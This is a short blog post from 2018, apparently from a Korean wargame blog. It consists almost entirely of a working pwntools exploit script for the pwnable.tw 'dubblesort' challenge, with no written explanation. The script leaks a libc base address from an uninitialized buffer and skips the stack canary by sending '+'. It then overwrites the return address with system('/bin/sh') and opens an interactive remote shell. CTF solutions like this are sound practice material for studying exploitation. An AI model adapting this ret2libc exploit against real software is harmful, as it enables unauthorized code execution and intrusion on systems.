Wargame/▷ pwnable.tw

[pwnable.tw] dubblesort

Gyeongje 2018. 7. 29. 12:10
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *
 
s = remote('chall.pwnable.tw', 10101)
#s = process('./dubblesort', env={'LD_PRELOAD':'./libc_32.so.6'})
#libc = ELF('/lib/i386-linux-gnu/libc-2.23.so')
libc = ELF('./libc_32.so.6')
 
s.sendlineafter('name :', 'A'*24)
s.recvuntil('AAAA\n')
base = u32('\x00' + s.recv(3)) - 0x1b0000
system = base + libc.symbols['system']
binsh = base + next(libc.search('/bin/sh'))
log.info('libc_base : ' + hex(base))
log.info('system : ' + hex(system))
log.info('binsh : ' + hex(binsh))
 
s.sendlineafter('sort :', '35')
 
#raw_input('$ ')
for i in range(24):
    s.sendlineafter('number : ', str(1))
 
s.sendlineafter('number : ', '+')
 
for i in range(9):
    s.sendlineafter('number : ', str(system))
s.sendlineafter('number : ', str(binsh))
 
sleep(1.5)
s.recv(1024)
s.interactive()
cs